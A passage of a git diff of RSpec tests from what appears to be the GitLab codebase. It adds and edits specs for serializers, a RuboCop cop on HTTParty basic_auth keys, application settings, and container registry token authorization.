index 93f43b0feb0..eaaa50b8190 100644
--- a/spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb
+++ b/spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb
@@ -88,7 +88,7 @@ RSpec.describe RuboCop::Cop::Migration::CreateTableWithForeignKeys, type: :ruboc
shared_examples 'target to high traffic table' do |dsl_method, table_name|
context 'when the target is defined as option' do
- it 'registers an offense ' do
+ it 'registers an offense' do
expect_offense(<<~RUBY)
def up
create_table(:foo) do |t|
@@ -102,7 +102,7 @@ RSpec.describe RuboCop::Cop::Migration::CreateTableWithForeignKeys, type: :ruboc
end
context 'when the target has implicit definition' do
- it 'registers an offense ' do
+ it 'registers an offense' do
expect_offense(<<~RUBY)
def up
create_table(:foo) do |t|
diff --git a/spec/rubocop/cop/rspec/htt_party_basic_auth_spec.rb b/spec/rubocop/cop/rspec/htt_party_basic_auth_spec.rb
new file mode 100644
index 00000000000..8c3703a488a
--- /dev/null
+++ b/spec/rubocop/cop/rspec/htt_party_basic_auth_spec.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+require_relative '../../../../rubocop/cop/rspec/httparty_basic_auth'
+
+RSpec.describe RuboCop::Cop::RSpec::HTTPartyBasicAuth, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ context 'when passing `basic_auth: { user: ... }`' do
+ it 'registers an offence' do
+ expect_offense(<<~SOURCE, 'spec/foo.rb')
+ HTTParty.put(
+ url,
+ basic_auth: { user: user, password: token },
+ ^^^^ #{described_class::MESSAGE}
+ body: body
+ )
+ SOURCE
+ end
+
+ it 'can autocorrect the source' do
+ bad = 'HTTParty.put(url, basic_auth: { user: user, password: token })'
+ good = 'HTTParty.put(url, basic_auth: { username: user, password: token })'
+ expect(autocorrect_source(bad)).to eq(good)
+ end
+ end
+
+ context 'when passing `basic_auth: { username: ... }`' do
+ it 'does not register an offence' do
+ expect_no_offenses(<<~SOURCE, 'spec/frontend/fixtures/foo.rb')
+ HTTParty.put(
+ url,
+ basic_auth: { username: user, password: token },
+ body: body
+ )
+ SOURCE
+ end
+ end
+end
diff --git a/spec/serializers/accessibility_reports_comparer_entity_spec.rb b/spec/serializers/accessibility_reports_comparer_entity_spec.rb
index c576dfa4dd1..dade2387ea9 100644
--- a/spec/serializers/accessibility_reports_comparer_entity_spec.rb
+++ b/spec/serializers/accessibility_reports_comparer_entity_spec.rb
@@ -51,8 +51,8 @@ RSpec.describe AccessibilityReportsComparerEntity do
expect(subject[:status]).to eq(Gitlab::Ci::Reports::AccessibilityReportsComparer::STATUS_FAILED)
expect(subject[:resolved_errors].first).to include(:code, :type, :type_code, :message, :context, :selector, :runner, :runner_extras)
expect(subject[:new_errors].first).to include(:code, :type, :type_code, :message, :context, :selector, :runner, :runner_extras)
- expect(subject[:existing_errors].first).to include(:code, :type, :type_code, :message, :context, :selector, :runner, :runner_extras)
- expect(subject[:summary]).to include(total: 2, resolved: 1, errored: 1)
+ expect(subject[:existing_errors]).to be_empty
+ expect(subject[:summary]).to include(total: 1, resolved: 1, errored: 1)
end
end
diff --git a/spec/serializers/admin/user_entity_spec.rb b/spec/serializers/admin/user_entity_spec.rb
new file mode 100644
index 00000000000..7db49af09c3
--- /dev/null
+++ b/spec/serializers/admin/user_entity_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Admin::UserEntity do
+ let_it_be(:user) { build_stubbed(:user) }
+ let(:request) { double('request') }
+
+ let(:entity) do
+ described_class.new(user, request: request)
+ end
+
+ describe '#as_json' do
+ subject { entity.as_json&.keys }
+
+ it 'exposes correct attributes' do
+ is_expected.to contain_exactly(
+ :id,
+ :name,
+ :created_at,
+ :email,
+ :username,
+ :last_activity_on,
+ :avatar_url,
+ :badges,
+ :projects_count,
+ :actions
+ )
+ end
+ end
+end
diff --git a/spec/serializers/admin/user_serializer_spec.rb b/spec/serializers/admin/user_serializer_spec.rb
new file mode 100644
index 00000000000..719a90384c6
--- /dev/null
+++ b/spec/serializers/admin/user_serializer_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Admin::UserSerializer do
+ let(:resource) { build(:user) }
+
+ subject { described_class.new.represent(resource).keys }
+
+ context 'when there is a single object provided' do
+ it 'contains important elements for the admin user table' do
+ is_expected.to contain_exactly(
+ :id,
+ :name,
+ :created_at,
+ :email,
+ :username,
+ :last_activity_on,
+ :avatar_url,
+ :badges,
+ :projects_count,
+ :actions
+ )
+ end
+ end
+end
diff --git a/spec/serializers/board_simple_entity_spec.rb b/spec/serializers/board_simple_entity_spec.rb
new file mode 100644
index 00000000000..c5ab9833adf
--- /dev/null
+++ b/spec/serializers/board_simple_entity_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BoardSimpleEntity do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:board) { create(:board, project: project) }
+
+ subject { described_class.new(board).as_json }
+
+ describe '#name' do
+ it 'has `name` attribute' do
+ is_expected.to include(:name)
+ end
+ end
+end
diff --git a/spec/serializers/codequality_degradation_entity_spec.rb b/spec/serializers/codequality_degradation_entity_spec.rb
new file mode 100644
index 00000000000..fc969195e35
--- /dev/null
+++ b/spec/serializers/codequality_degradation_entity_spec.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe CodequalityDegradationEntity do
+ let(:entity) { described_class.new(codequality_degradation) }
+
+ describe '#as_json' do
+ subject { entity.as_json }
+
+ context 'when codequality contains an error' do
+ context 'when line is included in location' do
+ let(:codequality_degradation) do
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ }.with_indifferent_access
+ end
+
+ it 'contains correct codequality degradation details', :aggregate_failures do
+ expect(subject[:description]).to eq("Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.")
+ expect(subject[:severity]).to eq("major")
+ expect(subject[:file_path]).to eq("foo.rb")
+ expect(subject[:line]).to eq(10)
+ end
+ end
+
+ context 'when line is included in positions' do
+ let(:codequality_degradation) do
+ {
+ "type": "Issue",
+ "check_name": "Rubocop/Metrics/ParameterLists",
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "categories": [
+ "Complexity"
+ ],
+ "remediation_points": 550000,
+ "location": {
+ "path": "foo.rb",
+ "positions": {
+ "begin": {
+ "column": 24,
+ "line": 14
+ },
+ "end": {
+ "column": 49,
+ "line": 14
+ }
+ }
+ },
+ "content": {
+ "body": "This cop checks for methods with too many parameters.\nThe maximum number of parameters is configurable.\nKeyword arguments can optionally be excluded from the total count."
+ },
+ "engine_name": "rubocop",
+ "fingerprint": "ab5f8b935886b942d621399f5a2ca16e",
+ "severity": "minor"
+ }.with_indifferent_access
+ end
+
+ it 'contains correct codequality degradation details', :aggregate_failures do
+ expect(subject[:description]).to eq("Avoid parameter lists longer than 5 parameters. [12/5]")
+ expect(subject[:severity]).to eq("minor")
+ expect(subject[:file_path]).to eq("foo.rb")
+ expect(subject[:line]).to eq(14)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/serializers/codequality_reports_comparer_entity_spec.rb b/spec/serializers/codequality_reports_comparer_entity_spec.rb
new file mode 100644
index 00000000000..7a79c30cc3f
--- /dev/null
+++ b/spec/serializers/codequality_reports_comparer_entity_spec.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe CodequalityReportsComparerEntity do
+ let(:entity) { described_class.new(comparer) }
+ let(:comparer) { Gitlab::Ci::Reports::CodequalityReportsComparer.new(base_report, head_report) }
+ let(:base_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+ let(:head_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+ let(:degradation_1) do
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ }.with_indifferent_access
+ end
+
+ let(:degradation_2) do
+ {
+ "type": "Issue",
+ "check_name": "Rubocop/Metrics/ParameterLists",
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "categories": [
+ "Complexity"
+ ],
+ "remediation_points": 550000,
+ "location": {
+ "path": "foo.rb",
+ "positions": {
+ "begin": {
+ "column": 14,
+ "line": 10
+ },
+ "end": {
+ "column": 39,
+ "line": 10
+ }
+ }
+ },
+ "content": {
+ "body": "This cop checks for methods with too many parameters.\nThe maximum number of parameters is configurable.\nKeyword arguments can optionally be excluded from the total count."
+ },
+ "engine_name": "rubocop",
+ "fingerprint": "ab5f8b935886b942d621399f5a2ca16e",
+ "severity": "minor"
+ }.with_indifferent_access
+ end
+
+ describe '#as_json' do
+ subject { entity.as_json }
+
+ context 'when base and head report have errors' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'contains correct compared codequality report details', :aggregate_failures do
+ expect(subject[:status]).to eq(Gitlab::Ci::Reports::CodequalityReportsComparer::STATUS_FAILED)
+ expect(subject[:resolved_errors].first).to include(:description, :severity, :file_path, :line)
+ expect(subject[:new_errors].first).to include(:description, :severity, :file_path, :line)
+ expect(subject[:existing_errors]).to be_empty
+ expect(subject[:summary]).to include(total: 1, resolved: 1, errored: 1)
+ end
+ end
+ end
+end
diff --git a/spec/serializers/codequality_reports_comparer_serializer_spec.rb b/spec/serializers/codequality_reports_comparer_serializer_spec.rb
new file mode 100644
index 00000000000..3c47bfb6adc
--- /dev/null
+++ b/spec/serializers/codequality_reports_comparer_serializer_spec.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe CodequalityReportsComparerSerializer do
+ let(:project) { double(:project) }
+ let(:serializer) { described_class.new(project: project).represent(comparer) }
+ let(:comparer) { Gitlab::Ci::Reports::CodequalityReportsComparer.new(base_report, head_report) }
+ let(:base_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+ let(:head_report) { Gitlab::Ci::Reports::CodequalityReports.new }
+ let(:degradation_1) do
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Method `new_array` has 12 arguments (exceeds 4 allowed). Consider refactoring.",
+ "fingerprint": "15cdb5c53afd42bc22f8ca366a08d547",
+ "location": {
+ "path": "foo.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": "major",
+ "type": "issue",
+ "engine_name": "structure"
+ }.with_indifferent_access
+ end
+
+ let(:degradation_2) do
+ {
+ "type": "Issue",
+ "check_name": "Rubocop/Metrics/ParameterLists",
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "categories": [
+ "Complexity"
+ ],
+ "remediation_points": 550000,
+ "location": {
+ "path": "foo.rb",
+ "positions": {
+ "begin": {
+ "column": 14,
+ "line": 10
+ },
+ "end": {
+ "column": 39,
+ "line": 10
+ }
+ }
+ },
+ "content": {
+ "body": "This cop checks for methods with too many parameters.\nThe maximum number of parameters is configurable.\nKeyword arguments can optionally be excluded from the total count."
+ },
+ "engine_name": "rubocop",
+ "fingerprint": "ab5f8b935886b942d621399f5a2ca16e",
+ "severity": "minor"
+ }.with_indifferent_access
+ end
+
+ describe '#to_json' do
+ subject { serializer.as_json }
+
+ context 'when base report has error and head has a different error' do
+ before do
+ base_report.add_degradation(degradation_1)
+ head_report.add_degradation(degradation_2)
+ end
+
+ it 'matches the schema' do
+ expect(subject).to match_schema('entities/codequality_reports_comparer')
+ end
+ end
+
+ context 'when base report has no error and head has errors' do
+ before do
+ head_report.add_degradation(degradation_1)
+ end
+
+ it 'matches the schema' do
+ expect(subject).to match_schema('entities/codequality_reports_comparer')
+ end
+ end
+ end
+end
diff --git a/spec/serializers/environment_entity_spec.rb b/spec/serializers/environment_entity_spec.rb
index f5d6706a844..5b83507b4ec 100644
--- a/spec/serializers/environment_entity_spec.rb
+++ b/spec/serializers/environment_entity_spec.rb
@@ -7,15 +7,20 @@ RSpec.describe EnvironmentEntity do
let(:request) { double('request') }
let(:entity) do
- described_class.new(environment, request: spy('request'))
+ described_class.new(environment, request: request)
end
let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project) }
- let_it_be(:environment) { create(:environment, project: project) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:environment, refind: true) { create(:environment, project: project) }
+
+ before_all do
+ project.add_developer(user)
+ end
before do
- allow(entity).to receive(:current_user).and_return(user)
+ allow(request).to receive(:current_user).and_return(user)
+ allow(request).to receive(:project).and_return(project)
end
subject { entity.as_json }
@@ -32,6 +37,51 @@ RSpec.describe EnvironmentEntity do
expect(subject).to include(:folder_path)
end
+ context 'when there is a successful deployment' do
+ let!(:pipeline) { create(:ci_pipeline, :success, project: project) }
+ let!(:deployable) { create(:ci_build, :success, project: project, pipeline: pipeline) }
+ let!(:deployment) { create(:deployment, :success, project: project, environment: environment, deployable: deployable) }
+
+ it 'exposes it as the latest deployment' do
+ expect(subject[:last_deployment][:sha]).to eq(deployment.sha)
+ end
+
+ it 'does not expose it as an upcoming deployment' do
+ expect(subject[:upcoming_deployment]).to be_nil
+ end
+
+ context 'when the deployment pipeline has the other manual job' do
+ let!(:manual_job) { create(:ci_build, :manual, name: 'stop-review', project: project, pipeline: pipeline) }
+
+ it 'exposes the manual job in the latest deployment' do
+ expect(subject[:last_deployment][:manual_actions].first[:name])
+ .to eq(manual_job.name)
+ end
+ end
+ end
+
+ context 'when there is a running deployment' do
+ let!(:pipeline) { create(:ci_pipeline, :running, project: project) }
+ let!(:deployable) { create(:ci_build, :running, project: project, pipeline: pipeline) }
+ let!(:deployment) { create(:deployment, :running, project: project, environment: environment, deployable: deployable) }
+
+ it 'does not expose it as the latest deployment' do
+ expect(subject[:last_deployment]).to be_nil
+ end
+
+ it 'exposes it as an upcoming deployment' do
+ expect(subject[:upcoming_deployment][:sha]).to eq(deployment.sha)
+ end
+
+ context 'when the deployment pipeline has the other manual job' do
+ let!(:manual_job) { create(:ci_build, :manual, name: 'stop-review', project: project, pipeline: pipeline) }
+
+ it 'does not expose the manual job in the latest deployment' do
+ expect(subject[:upcoming_deployment][:manual_actions]).to be_nil
+ end
+ end
+ end
+
context 'metrics disabled' do
before do
allow(environment).to receive(:has_metrics?).and_return(false)
diff --git a/spec/serializers/import/bulk_import_entity_spec.rb b/spec/serializers/import/bulk_import_entity_spec.rb
index f35684bef20..3dfc659daf7 100644
--- a/spec/serializers/import/bulk_import_entity_spec.rb
+++ b/spec/serializers/import/bulk_import_entity_spec.rb
@@ -7,14 +7,15 @@ RSpec.describe Import::BulkImportEntity do
{
'id' => 1,
'full_name' => 'test',
- 'full_path' => 'full/path/test',
+ 'full_path' => 'full/path/tes',
+ 'web_url' => 'http://web.url/path',
'foo' => 'bar'
}
end
subject { described_class.represent(importable_data).as_json }
- %w[id full_name full_path].each do |attribute|
+ %w[id full_name full_path web_url].each do |attribute|
it "exposes #{attribute}" do
expect(subject[attribute.to_sym]).to eq(importable_data[attribute])
end
diff --git a/spec/serializers/merge_request_current_user_entity_spec.rb b/spec/serializers/merge_request_current_user_entity_spec.rb
new file mode 100644
index 00000000000..d4cbfe726c1
--- /dev/null
+++ b/spec/serializers/merge_request_current_user_entity_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequestCurrentUserEntity do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+ let(:request) { EntityRequest.new(project: project, current_user: user) }
+
+ let(:entity) do
+ described_class.new(user, request: request)
+ end
+
+ context 'as json' do
+ subject { entity.as_json }
+
+ it 'exposes needed attributes' do
+ expect(subject).to include(:can_fork, :can_create_merge_request, :fork_path)
+ end
+ end
+end
diff --git a/spec/serializers/merge_request_user_entity_spec.rb b/spec/serializers/merge_request_user_entity_spec.rb
index 8d6f066481e..a2ad8e72845 100644
--- a/spec/serializers/merge_request_user_entity_spec.rb
+++ b/spec/serializers/merge_request_user_entity_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe MergeRequestUserEntity do
subject { entity.as_json }
it 'exposes needed attributes' do
- expect(subject).to include(:can_fork, :can_create_merge_request, :fork_path)
+ expect(subject).to include(:id, :name, :username, :state, :avatar_url, :web_url, :can_merge)
end
end
end
diff --git a/spec/serializers/merge_request_widget_entity_spec.rb b/spec/serializers/merge_request_widget_entity_spec.rb
index 3f7d5542ae8..9f734c08ef4 100644
--- a/spec/serializers/merge_request_widget_entity_spec.rb
+++ b/spec/serializers/merge_request_widget_entity_spec.rb
@@ -285,54 +285,34 @@ RSpec.describe MergeRequestWidgetEntity do
end
describe 'user callouts' do
- context 'when suggest pipeline feature is enabled' do
- subject { described_class.new(resource, request: request, experiment_enabled: :suggest_pipeline).as_json }
+ subject { described_class.new(resource, request: request).as_json }
- it 'provides a valid path value for user callout path' do
- expect(subject[:user_callouts_path]).to eq '/-/user_callouts'
- end
-
- it 'provides a valid value for suggest pipeline feature id' do
- expect(subject[:suggest_pipeline_feature_id]).to eq described_class::SUGGEST_PIPELINE
- end
-
- it 'provides a valid value for if it is dismissed' do
- expect(subject[:is_dismissed_suggest_pipeline]).to be(false)
- end
-
- context 'when the suggest pipeline has been dismissed' do
- before do
- create(:user_callout, user: user, feature_name: described_class::SUGGEST_PIPELINE)
- end
-
- it 'indicates suggest pipeline has been dismissed' do
- expect(subject[:is_dismissed_suggest_pipeline]).to be(true)
- end
- end
+ it 'provides a valid path value for user callout path' do
+ expect(subject[:user_callouts_path]).to eq '/-/user_callouts'
+ end
- context 'when user is not logged in' do
- let(:request) { double('request', current_user: nil, project: project) }
+ it 'provides a valid value for suggest pipeline feature id' do
+ expect(subject[:suggest_pipeline_feature_id]).to eq described_class::SUGGEST_PIPELINE
+ end
- it 'returns a blank is dismissed value' do
- expect(subject[:is_dismissed_suggest_pipeline]).to be_nil
- end
- end
+ it 'provides a valid value for if it is dismissed' do
+ expect(subject[:is_dismissed_suggest_pipeline]).to be(false)
end
- context 'when suggest pipeline feature is not enabled' do
+ context 'when the suggest pipeline has been dismissed' do
before do
- stub_feature_flags(suggest_pipeline: false)
+ create(:user_callout, user: user, feature_name: described_class::SUGGEST_PIPELINE)
end
- it 'provides no valid value for user callout path' do
- expect(subject[:user_callouts_path]).to be_nil
+ it 'indicates suggest pipeline has been dismissed' do
+ expect(subject[:is_dismissed_suggest_pipeline]).to be(true)
end
+ end
- it 'provides no valid value for suggest pipeline feature id' do
- expect(subject[:suggest_pipeline_feature_id]).to be_nil
- end
+ context 'when user is not logged in' do
+ let(:request) { double('request', current_user: nil, project: project) }
- it 'provides no valid value for if it is dismissed' do
+ it 'returns a blank is dismissed value' do
expect(subject[:is_dismissed_suggest_pipeline]).to be_nil
end
end
@@ -371,4 +351,18 @@ RSpec.describe MergeRequestWidgetEntity do
it 'has security_reports_docs_path' do
expect(subject[:security_reports_docs_path]).not_to be_nil
end
+
+ describe 'has source_project_default_url' do
+ it 'returns the default url to the source project' do
+ expect(subject[:source_project_default_url]).to eq project.http_url_to_repo
+ end
+
+ context 'when source project is nil' do
+ it 'returns nil' do
+ allow(resource).to receive(:source_project).and_return(nil)
+
+ expect(subject[:source_project_default_url]).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/serializers/paginated_diff_entity_spec.rb b/spec/serializers/paginated_diff_entity_spec.rb
index 551b392c9e9..7090ce1f08d 100644
--- a/spec/serializers/paginated_diff_entity_spec.rb
+++ b/spec/serializers/paginated_diff_entity_spec.rb
@@ -19,6 +19,10 @@ RSpec.describe PaginatedDiffEntity do
subject { entity.as_json }
+ before do
+ stub_feature_flags(diffs_gradual_load: false)
+ end
+
it 'exposes diff_files' do
expect(subject[:diff_files]).to be_present
end
diff --git a/spec/serializers/rollout_status_entity_spec.rb b/spec/serializers/rollout_status_entity_spec.rb
new file mode 100644
index 00000000000..7ad4b259bcd
--- /dev/null
+++ b/spec/serializers/rollout_status_entity_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe RolloutStatusEntity do
+ include KubernetesHelpers
+
+ let(:rollout_status) { kube_deployment_rollout_status }
+
+ let(:entity) do
+ described_class.new(rollout_status, request: double)
+ end
+
+ subject { entity.as_json }
+
+ it "exposes status" do
+ is_expected.to include(:status)
+ end
+
+ it 'exposes has_legacy_app_label' do
+ is_expected.to include(:has_legacy_app_label)
+ end
+
+ context 'when kube deployment is valid' do
+ it "exposes deployment data" do
+ is_expected.to include(:instances, :completion, :is_completed)
+ end
+
+ it 'does not expose canary ingress if it does not exist' do
+ is_expected.not_to include(:canary_ingress)
+ end
+
+ context 'when canary ingress exists' do
+ let(:rollout_status) { kube_deployment_rollout_status(ingresses: [kube_ingress(track: :canary)]) }
+
+ it 'expose canary ingress' do
+ is_expected.to include(:canary_ingress)
+ end
+ end
+ end
+
+ context 'when kube deployment is empty' do
+ let(:rollout_status) { empty_deployment_rollout_status }
+
+ it "exposes status" do
+ is_expected.to include(:status)
+ end
+
+ it "does not expose deployment data" do
+ is_expected.not_to include(:instances, :completion, :is_completed, :canary_ingress)
+ end
+ end
+end
diff --git a/spec/serializers/rollout_statuses/ingress_entity_spec.rb b/spec/serializers/rollout_statuses/ingress_entity_spec.rb
new file mode 100644
index 00000000000..b87b9e5c6c4
--- /dev/null
+++ b/spec/serializers/rollout_statuses/ingress_entity_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe RolloutStatuses::IngressEntity do
+ include KubernetesHelpers
+
+ let(:canary_ingress) { kube_ingress(track: :canary) }
+
+ let(:entity) do
+ described_class.new(canary_ingress, request: double)
+ end
+
+ subject { entity.as_json }
+
+ it 'exposes canary weight' do
+ is_expected.to include(:canary_weight)
+ end
+end
diff --git a/spec/services/alert_management/process_prometheus_alert_service_spec.rb b/spec/services/alert_management/process_prometheus_alert_service_spec.rb
index 2f920de7fc7..8f81c1967d5 100644
--- a/spec/services/alert_management/process_prometheus_alert_service_spec.rb
+++ b/spec/services/alert_management/process_prometheus_alert_service_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe AlertManagement::ProcessPrometheusAlertService do
end
describe '#execute' do
- let(:service) { described_class.new(project, nil, payload) }
+ let(:service) { described_class.new(project, payload) }
let(:auto_close_incident) { true }
let(:create_issue) { true }
let(:send_email) { true }
diff --git a/spec/services/application_settings/update_service_spec.rb b/spec/services/application_settings/update_service_spec.rb
index 03e55b3ec46..46483fede97 100644
--- a/spec/services/application_settings/update_service_spec.rb
+++ b/spec/services/application_settings/update_service_spec.rb
@@ -49,7 +49,7 @@ RSpec.describe ApplicationSettings::UpdateService do
expect(application_settings.terms).to eq('Be nice!')
end
- it 'Only queries once when the terms are changed' do
+ it 'only queries once when the terms are changed' do
create(:term, terms: 'Other terms')
expect(application_settings.terms).to eq('Other terms')
@@ -257,7 +257,7 @@ RSpec.describe ApplicationSettings::UpdateService do
described_class.new(application_settings, admin, { external_authorization_service_enabled: false }).execute
end
- it 'does validate labels if external authorization gets enabled ' do
+ it 'does validate labels if external authorization gets enabled' do
expect_any_instance_of(described_class).to receive(:validate_classification_label)
described_class.new(application_settings, admin, { external_authorization_service_enabled: true }).execute
@@ -350,4 +350,28 @@ RSpec.describe ApplicationSettings::UpdateService do
expect(application_settings.issues_create_limit).to eq(600)
end
end
+
+ context 'when require_admin_approval_after_user_signup changes' do
+ context 'when it goes from enabled to disabled' do
+ let(:params) { { require_admin_approval_after_user_signup: false } }
+
+ it 'calls ApproveBlockedPendingApprovalUsersWorker' do
+ expect(ApproveBlockedPendingApprovalUsersWorker).to receive(:perform_async)
+
+ subject.execute
+ end
+ end
+
+ context 'when it goes from disabled to enabled' do
+ let(:params) { { require_admin_approval_after_user_signup: true } }
+
+ it 'does not call ApproveBlockedPendingApprovalUsersWorker' do
+ application_settings.update!(require_admin_approval_after_user_signup: false)
+
+ expect(ApproveBlockedPendingApprovalUsersWorker).not_to receive(:perform_async)
+
+ subject.execute
+ end
+ end
+ end
end
diff --git a/spec/services/auth/container_registry_authentication_service_spec.rb b/spec/services/auth/container_registry_authentication_service_spec.rb
index 90ef32f1c5c..ba7acd3d3df 100644
--- a/spec/services/auth/container_registry_authentication_service_spec.rb
+++ b/spec/services/auth/container_registry_authentication_service_spec.rb
@@ -5,993 +5,5 @@ require 'spec_helper'
RSpec.describe Auth::ContainerRegistryAuthenticationService do
include AdminModeHelper
- let(:current_project) { nil }
- let(:current_user) { nil }
- let(:current_params) { {} }
- let(:rsa_key) { OpenSSL::PKey::RSA.generate(512) }
- let(:payload) { JWT.decode(subject[:token], rsa_key, true, { algorithm: 'RS256' }).first }
-
- let(:authentication_abilities) do
- [:read_container_image, :create_container_image, :admin_container_image]
- end
-
- subject do
- described_class.new(current_project, current_user, current_params)
- .execute(authentication_abilities: authentication_abilities)
- end
-
- before do
- allow(Gitlab.config.registry).to receive_messages(enabled: true, issuer: 'rspec', key: nil)
- allow_next_instance_of(JSONWebToken::RSAToken) do |instance|
- allow(instance).to receive(:key).and_return(rsa_key)
- end
- end
-
- shared_examples 'an authenticated' do
- it { is_expected.to include(:token) }
- it { expect(payload).to include('access') }
- end
-
- shared_examples 'a valid token' do
- it { is_expected.to include(:token) }
- it { expect(payload).to include('access') }
-
- context 'a expirable' do
- let(:expires_at) { Time.zone.at(payload['exp']) }
- let(:expire_delay) { 10 }
-
- context 'for default configuration' do
- it { expect(expires_at).not_to be_within(2.seconds).of(Time.current + expire_delay.minutes) }
- end
-
- context 'for changed configuration' do
- before do
- stub_application_setting(container_registry_token_expire_delay: expire_delay)
- end
-
- it { expect(expires_at).to be_within(2.seconds).of(Time.current + expire_delay.minutes) }
- end
- end
- end
-
- shared_examples 'a browsable' do
- let(:access) do
- [{ 'type' => 'registry',
- 'name' => 'catalog',
- 'actions' => ['*'] }]
- end
-
- it_behaves_like 'a valid token'
- it_behaves_like 'not a container repository factory'
-
- it 'has the correct scope' do
- expect(payload).to include('access' => access)
- end
- end
-
- shared_examples 'an accessible' do
- let(:access) do
- [{ 'type' => 'repository',
- 'name' => project.full_path,
- 'actions' => actions }]
- end
-
- it_behaves_like 'a valid token'
-
- it 'has the correct scope' do
- expect(payload).to include('access' => access)
- end
- end
-
- shared_examples 'an inaccessible' do
- it_behaves_like 'a valid token'
- it { expect(payload).to include('access' => []) }
- end
-
- shared_examples 'a deletable' do
- it_behaves_like 'an accessible' do
- let(:actions) { ['*'] }
- end
- end
-
- shared_examples 'a deletable since registry 2.7' do
- it_behaves_like 'an accessible' do
- let(:actions) { ['delete'] }
- end
- end
-
- shared_examples 'a pullable' do
- it_behaves_like 'an accessible' do
- let(:actions) { ['pull'] }
- end
- end
-
- shared_examples 'a pushable' do
- it_behaves_like 'an accessible' do
- let(:actions) { ['push'] }
- end
- end
-
- shared_examples 'a pullable and pushable' do
- it_behaves_like 'an accessible' do
- let(:actions) { %w(pull push) }
- end
- end
-
- shared_examples 'a forbidden' do
- it { is_expected.to include(http_status: 403) }
- it { is_expected.not_to include(:token) }
- end
-
- shared_examples 'container repository factory' do
- it 'creates a new container repository resource' do
- expect { subject }
- .to change { project.container_repositories.count }.by(1)
- end
- end
-
- shared_examples 'not a container repository factory' do
- it 'does not create a new container repository resource' do
- expect { subject }.not_to change { ContainerRepository.count }
- end
- end
-
- describe '#full_access_token' do
- let_it_be(:project) { create(:project) }
- let(:token) { described_class.full_access_token(project.full_path) }
-
- subject { { token: token } }
-
- it_behaves_like 'an accessible' do
- let(:actions) { ['*'] }
- end
-
- it_behaves_like 'not a container repository factory'
- end
-
- describe '#pull_access_token' do
- let_it_be(:project) { create(:project) }
- let(:token) { described_class.pull_access_token(project.full_path) }
-
- subject { { token: token } }
-
- it_behaves_like 'an accessible' do
- let(:actions) { ['pull'] }
- end
-
- it_behaves_like 'not a container repository factory'
- end
-
- context 'user authorization' do
- let_it_be(:current_user) { create(:user) }
-
- context 'for registry catalog' do
- let(:current_params) do
- { scopes: ["registry:catalog:*"] }
- end
-
- context 'disallow browsing for users without GitLab admin rights' do
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'for private project' do
- let_it_be(:project) { create(:project) }
-
- context 'allow to use scope-less authentication' do
- it_behaves_like 'a valid token'
- end
-
- context 'allow developer to push images' do
- before_all do
- project.add_developer(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- it_behaves_like 'a pushable'
- it_behaves_like 'container repository factory'
- end
-
- context 'disallow developer to delete images' do
- before_all do
- project.add_developer(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:*"] }
- end
-
- it_behaves_like 'an inaccessible'
